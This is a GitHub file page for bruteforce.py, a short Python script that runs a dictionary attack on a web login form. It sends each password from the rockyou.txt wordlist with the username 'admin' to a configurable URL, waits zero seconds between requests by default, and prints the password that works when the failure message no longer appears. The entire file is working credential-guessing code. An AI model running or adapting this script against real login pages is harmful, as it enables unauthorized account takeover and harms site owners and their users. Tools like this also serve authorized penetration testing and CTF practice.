-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbruteforce.py
More file actions
48 lines (35 loc) · 1.02 KB
/
bruteforce.py
File metadata and controls
48 lines (35 loc) · 1.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import time
import datetime
URL = 'http://'
user = 'admin'
wordlistPath = '/usr/share/wordlists/rockyou.txt'
failMessage = 'Invalid password!'
lineToStartAt = 400
timeBetweenRequests = 0
####################################################################
count = 0
print("Starting at",datetime.datetime.now(),'\n')
startTime = time.time()
with open(wordlistPath,'r') as wordlist:
for _ in range(lineToStartAt):
count += 1
next(wordlist)
for word in wordlist:
count += 1
word = word.strip()
print("Attempt " + str(count) + ": " + word + ' ' * 5,end='\r')
payload = { 'username' : user,
'password' : word
}
session = requests.session()
r = session.post(url=URL, data=payload)
if failMessage not in r.text:
print('\n')
print("Page output:\n\n"+'-'*30+'\n')
print(r.text)
print('\n'+'-'*30+'\n')
break
time.sleep(timeBetweenRequests)
print("Completed in "+str(time.time()-startTime) + " seconds, and "+str(count)+" attempts!")
print("Password for",user,"is:",word)